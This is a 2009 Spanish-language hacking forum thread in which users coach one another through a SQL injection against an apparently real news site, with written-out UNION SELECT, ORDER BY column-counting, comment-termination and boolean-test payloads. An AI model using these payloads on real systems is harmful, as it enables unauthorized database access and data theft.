SQL Injection UNION SELECT

Iniciado por noukeys, 28 Agosto 2009, 09:49 AM

0 Miembros y 2 Visitantes están viendo este tema.

noukeys

Buenas a todos,

He probado una inección del tipo ... UNION SELECT 1,2,3,4... --
Siempre me retorna el mismo msg. No coinciden las columnas.
el caso es . . . he probado desde 1 a 500 !!!
¿No creo que tenga más de 500 columnas?¿o, si . . .?

ALguna idea???

Muchas gracias por adelantado

kamsky

pues no creo no... has probado a hacer alguna consulta erronea por narices? te devuelve también lo mismo?? que devuelve..??
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

fede_cp

hola, bueno una de las cosas que hago para sacar el numero de columnas es asi(todo por partes):

primer ejemplo php?idnoticias=-1 order by 100--
y despues php?idnoticias= -1 order by 1--
entre esos dos casos tendrias que notas una diferencia

y despues vas buscando... php?idnoticias=-1 order by 10--
si se mantiene como -1 order by 1-- entonces tiene esa cantidad de columnas O MAS, entonces seguis

php?idnoticias=-1 order by 15
pero en este caso dio error, entonces probas -1 order by 13-- pero tambien dio error, y entonces hace -1 order by 11-- en este caso no dio error, entonces te queda probar el 12, -1 order by 12--  no dio error

entonces la cantidad de columnas es 12

y ahi haces

php?idnoticias=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12--

ahi esta bien hecho

PD= esto va en nivel web

saludoss!!
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

noukeys

kamsky, si he hecho consultas erroneas y tal. La verdad es que no se que puede pasar.

No rula :(

Unknown column '100' in 'order clause'

fede_cp

#4
perfecto entonces si dio Unknown column '100' in 'order clause' , segui como yo te dije



Cambien de lugar el tema
saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

noukeys

#5
Esto parece que no va, mira:

Citarphp?idnoticias=-1 order by 100--
Unknown column '100' in 'order clause'

Citarphp?idnoticias= -1 order by 1--
Unknown column '1' in 'order clause'

Citarphp?idnoticias=-1 order by 10--
Unknown column '10' in 'order clause'

Ahora bien, si hago esto:

order by -1--
La página carga normalmente, como si no hubiese inyectado...

Nunca lo habia visto, ¿que puede ser?

{MAS INFO}

En otra parte del código, ha funcionado tu técnica. Tiene cuatro columnas, pero a la hora de hacer el UNION ALL SELECT queda asi:

usuario=xxxxx' union all select 1,2,3,4-- +
The used SELECT statements have a different number of columns

NOTESE EL '+' del final por esto:

CitarYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY fotos.ID DESC' at line 1

De todas formas. ¿Si dice Error en línea 1? Es porque esta en una línea la consulta, ¿no debería ignorarse con '--'?

A ver si saco algo en claro, buff . . .


fede_cp

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

WHK

Aver, este error es bastante común y muchos se hacen bastantes problemas con esto.
No es que tenga -1 o 500 columnas lo que pasa esque la inyección rompe la query y se debe al comentario "--", por lo general siempre intenta seguir las inyecciones lo mas posible sin usar comentarios ya que muchas veces las querys utilizan selecciones que son vitales para el regreso de datos, además el comentario -- para que sea válido en mysql necesita estar solo o sea --order by no sirve porque --order no existe y 2,3,4,5-- tampoco porque 5-- no existe asi que una de dos.. o haces 2,3,4,5 --+ (+ significa espacio en blanco al igual que %20) o sigues la query... -1' union all select 1,2,3,4,5,6,'7 de esta froma no rompes el código.

Comienza denuevo e intenta con:
digamos que 55 es un id de noticia válido...
php?idnoticias=55 and 1=1
php?idnoticias=55 and 1=2
php?idnoticias=55' and 1='1
php?idnoticias=55' and 1='2
php?idnoticias=55' and 1=1 --+
etc y ves que te da error y que no da error, el que no te de error esa es tu inyección.

noukeys

He seguido la guia y tal, el caso es.

- Se que son 4 columnas.

¿porque encadene lo que encadene? UNION ALL SELECT 1,2,3,...,n me dice siempre.
CitarThe used SELECT statements have a different number of columns

Darioxhcx

Cita de: noukeys en 28 Agosto 2009, 22:56 PM
He seguido la guia y tal, el caso es.

- Se que son 4 columnas.

¿porque encadene lo que encadene? UNION ALL SELECT 1,2,3,...,n me dice siempre.
CitarThe used SELECT statements have a different number of columns
la pag dice algo mas ?
o solamente algo en blanco con ese error...
si dice algo mas mete un

union select 000 111 222 333

y en el codigo fuente busca alguno de esosvalores..